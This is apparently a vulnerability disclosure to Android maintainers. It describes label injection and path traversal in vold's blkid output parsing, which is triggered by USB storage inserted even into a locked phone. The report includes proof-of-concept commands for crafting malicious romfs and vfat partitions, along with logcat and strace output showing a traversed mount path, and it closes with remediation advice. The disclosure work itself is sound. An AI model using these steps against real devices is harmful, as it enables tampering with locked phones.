When a USB mass storage device is inserted into an Android phone (even if the
phone is locked!), vold will attempt to automatically mount partitions from the
inserted device. For this purpose, vold has to identify the partitions on the
connected device and collect some information about them, which is done in
readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid",
then attempts to parse the results:
```
std::vector<std::string> cmd;
cmd.push_back(kBlkidPath);
cmd.push_back("-c");
cmd.push_back("/dev/null");
cmd.push_back("-s");
cmd.push_back("TYPE");
cmd.push_back("-s");
cmd.push_back("UUID");
cmd.push_back("-s");
cmd.push_back("LABEL");
cmd.push_back(path);
std::vector<std::string> output;
status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext);
if (res != OK) {
LOG(WARNING) << "blkid failed to identify " << path;
return res;
}
char value[128];
for (const auto& line : output) {
// Extract values from blkid output, if defined
const char* cline = line.c_str();
const char* start = strstr(cline, "TYPE=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsType = value;
}
start = strstr(cline, "UUID=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsUuid = value;
}
start = strstr(cline, "LABEL=");
if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) {
fsLabel = value;
}
}
```
Normally, the UUID string can't contain any special characters because blkid
generates it by reformatting a binary ID as a printable UUID string. However,
the version of blkid that Android is using will print the LABEL first, without
escaping the characters this code scans for, allowing an attacker to place
special characters in the fsUuid variable.
For example, if you format a USB stick with a single partition, then place a
romfs filesystem in the partition as follows (on the terminal of a Linux PC):
```
# echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1
```
and then connect the USB stick to a Nexus 5X and run blkid as root on the
device, you'll see the injection:
```
bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1
/dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
```
logcat shows that the injection was successful and the device is indeed using
the injected values, but vold doesn't end up doing much with the fake UUID
because fsck_msdos fails:
```
05-29 20:41:26.262 391 398 V vold : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
05-29 20:41:26.262 391 398 V vold :
05-29 20:41:26.263 391 398 V vold : /system/bin/fsck_msdos
05-29 20:41:26.263 391 398 V vold : -p
05-29 20:41:26.263 391 398 V vold : -f
05-29 20:41:26.263 391 398 V vold : /dev/block/vold/public:8,1
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {652 public:8,1 vfat}
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {653 public:8,1 ../../data}
05-29 20:41:26.265 813 2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=}
05-29 20:41:26.281 391 398 I fsck_msdos: ** /dev/block/vold/public:8,1
05-29 20:41:26.285 391 398 I fsck_msdos: Invalid sector size: 8995
05-29 20:41:26.286 391 398 I fsck_msdos: fsck_msdos terminated by exit(8)
05-29 20:41:26.286 391 398 E Vold : Filesystem check failed (no filesystem)
05-29 20:41:26.286 391 398 E vold : public:8,1 failed filesystem check
05-29 20:41:26.286 813 2039 D VoldConnector: RCV <- {651 public:8,1 6}
05-29 20:41:26.287 813 2039 D VoldConnector: RCV <- {400 48 Command failed}
05-29 20:41:26.288 2532 2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}:
05-29 20:41:26.288 2532 2532 D StorageNotification: type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0
05-29 20:41:26.288 2532 2532 D StorageNotification: state=UNMOUNTABLE
05-29 20:41:26.288 2532 2532 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE=
05-29 20:41:26.288 2532 2532 D StorageNotification: path=null internalPath=null
````
For a relatively harmless example in which vold actually ends up mounting the
device in the wrong place, you can create a vfat partition with label
'UUID="../##':
```
# mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1
mkfs.fat 4.1 (2017-01-24)
# dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M
200+0 records in
200+0 records out
209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s
198+279 records in
198+279 records out
209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s
Connect it to the Android device again while running strace against vold:
[pid 398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0
[pid 398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0
[pid 398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0
Check the results:
bullhead:/ # ls -l /mnt
total 32
drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ##
drwx--x--x 2 root root 40 1970-01-01 04:14 appfuse
drwxr-xr-x 2 root system 40 1970-01-01 04:14 asec
drwxrwx--x 2 system system 40 1970-01-01 04:14 expand
drwxr-x--- 2 root media_rw 40 1970-01-01 04:14 media_rw
drwxr-xr-x 2 root system 40 1970-01-01 04:14 obb
drwx------ 5 root root 100 1970-01-01 04:14 runtime
lrwxrwxrwx 1 root root 21 1970-01-01 04:14 sdcard -> /storage/self/primary
drwx------ 3 root root 60 1970-01-01 04:14 secure
drwxr-xr-x 3 root root 60 1970-01-01 04:14 user
bullhead:/ # mount | grep '##'
/dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro)
```
When testing with a normal USB stick, the attacker has to choose between using a
vfat filesystem (so that Android is capable of mounting it as external storage)
and using a romfs filesystem (so that the label is long enough to specify
arbitrary paths). However, an attacker who wants to perform more harmful attacks
could use a malicious USB storage device that is capable of delivering different
data for multiple reads from the same location. This way, it would be possible
to deliver a romfs superblock when blkfs is reading, but deliver a vfat
superblock when the kernel is reading. I haven't tested this yet because I don't
yet have the necessary hardware.
When you fix this issue, please don't just fix the injection and/or the
directory traversal. I believe that from a security perspective, a smartphone
should not mount storage devices that are inserted while the screen is locked
(or, more generally, communication with new USB devices should be limited while
the screen is locked). Mounting a USB storage device exposes a lot of code to
the connected device, including partition table parsing, vold logic, blkid, the
kernel's FAT filesystem implementation, and anything on the device that might
decide to read files from the connected storage device.
暂无评论